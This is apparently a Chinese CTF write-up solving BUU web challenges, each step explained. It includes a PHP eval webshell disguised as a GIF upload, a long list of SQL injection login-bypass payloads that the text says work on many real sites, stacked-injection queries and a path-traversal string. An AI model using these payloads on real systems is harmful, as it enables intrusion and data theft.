BUU CTF Web
BUU CTF Web
[极客大挑战 2019]Upload1
首先上传一句话木马
提示说不是图片
需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
发现只有phtml可以
发现过滤<?
换个一句话木马
GIF89a? <script language="php">eval($_REQUEST[1])</script>
上传成功
试着访问上传的文件
http://c43398c0-dd60-434a-99b1-9b5624262c56.node4.buuoj.cn:81/upload/
然后蚁剑连接
密码是1
在/目录下找到flag文件
完成
[极客大挑战 2019]EasySQL1
首先进入靶场,是一个登录界面
先随便输入一个用户名和密码,比如都输入1
发现不行
再试试admin和123456
发现也不行
尝试闭合方式,账号输入1,1’,1"判断,当输入为1’时报错,所以判断结果语句应该为单引号闭合。
万能语句
万能密码表所谓的万能密码就是绕过登录验证直接进入管理员后台的密码,这种类型的密码可以通用到很多存在此漏洞的网站,所以称之为万能。
账号 'or 1=1 #密码任意( 这个很好用!)
得到flag
万能密码
原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'1
输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'1
即得到优先级关系:or<and<not,同一优先级默认从左往右计算。
(1.)上面’1’=‘1’ AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG’先计算肯定返回false,因为密码是我们乱输入的。(此处是假)
(2.)Username=‘1’ 返回假,没有用户名是1(此处是假)
(3.)1=1返回真(此处是真)
以上的结果是: 假 or 真 or假 返回真。验证通过。
万能密码
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
[SUCTF 2019]EasySQL1
首先学习一下前置知识
SQL ORDER BY 子句
ORDER BY 语句用于对结果集进行排序。
ORDER BY 语句
ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序。
如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。
原始的表 (用在例子中的)Orders 表:
Company | OrderNumber |
IBM | 3532 |
W3School | 2356 |
Apple | 4698 |
W3School | 6953 |
实例 1
以字母顺序显示公司名称:
SELECT Company, OrderNumber FROM Orders ORDER BY Company
结果:
Company | OrderNumber |
Apple | 4698 |
IBM | 3532 |
W3School | 6953 |
W3School | 2356 |
实例 2
以字母顺序显示公司名称(Company),并以数字顺序显示顺序号(OrderNumber):
SELECT Company, OrderNumber FROM Orders ORDER BY Company, OrderNumber
结果:
Company | OrderNumber |
Apple | 4698 |
IBM | 3532 |
W3School | 2356 |
W3School | 6953 |
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC
实例 3
以逆字母顺序显示公司名称:
结果:
Company | OrderNumber |
W3School | 6953 |
W3School | 2356 |
IBM | 3532 |
Apple | 4698 |
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC, OrderNumber ASC
实例 4
以逆字母顺序显示公司名称,并以数字顺序显示顺序号:
结果:
Company | OrderNumber |
W3School | 2356 |
W3School | 6953 |
IBM | 3532 |
Apple | 4698 |
注意:在以上的结果中有两个相等的公司名称 (W3School)。只有这一次,在第一列中有相同的值时,第二列是以升序排列的。如果第一列中有些值为 nulls 时,情况也是这样的。
做题
有回显
(2)再试试字母
没有回显
(3)试试单引号注入
提示不一样,因此猜测这里有注入点
(4)试试有多少列
还是不成功,因此一般的联合查询在这里不能使用
(5)基于时间的盲注和报错注入都需要嵌套联合查询语句来实现,因此可以跳过,直接试试布尔型盲注
还是不成功
2.利用堆叠注入
(1)查找所有数据库
(2)查询所有表名
(3)查询Flag表中的列
不成功
3.接下来是网上的两种解法,参照了网上大佬们的WP,自己做的一些总结
(1)第一种是猜出了源码select $_POST[‘query’] || flag from Flag,
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数用于连接的函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
第一种就按默认没有配置来进行,此时||就是逻辑或
||在命令执行中见过,
回顾:
command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2
因此只需要将
$_POST[‘query’]
提交的数据换成*,1(如果直接写的话会被报错,且写在后面会失效)
解释:
sql=select.post[‘query’]."||flag from Flag";(拼接语句)
如果$post[‘query’]的数据为
*,1
sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1
执行payload:*,1
得到flag
(2)第二种是将||作为字符串连接符,因此需要在语句中更改其配置
sql_mode=PIPES_AS_CONCAT时即可
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag
得到flag
知识点:
后端代码猜测
1 || ** 类语句理解
select 1 from 类语句理解
set sql_mode = pipes_as_concat 命令理解(为什么没有过滤set、concat的原因)
[HCTF 2018]WarmUp1
首先查看网站源码
发现有source.php
我们查看一下
接着就是代码审计
查看hint.php发现
mb_substr() 函数:返回字符串的一部分
//str 必需。从该 string 中提取子字符串。//start 必需。规定在字符串的何处开始。//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
mb_strpos() 函数:查找字符串在另一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )// haystack:要被检查的字符串。// needle:要搜索的字符串
in_array() 函数: 搜索数组中是否存在指定的值。注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
isset()判断变量是否声明
is_string()判断变量是否是字符串
urldecode():解码已编码的 URL 字符串
<?php
$str = 'http://www.baidu.com';
$str2 = urlencode($str);
echo $str2;
echo '<br/>';
echo urldecode($str2);
?>
输出结果:
http%3A%2F%2Fwww.baidu.com
http://www.baidu.com
这里需要上传一个file要求在白名单里,由于会过滤?,所以需要将?进行url加密
又因为ffffllllaaaagggg所以需要用到/..意思是上一个目录下的文件
于是上传下面的代码就可以找到flag
?file=source.php%3f/../../../../ffffllllaaaagggg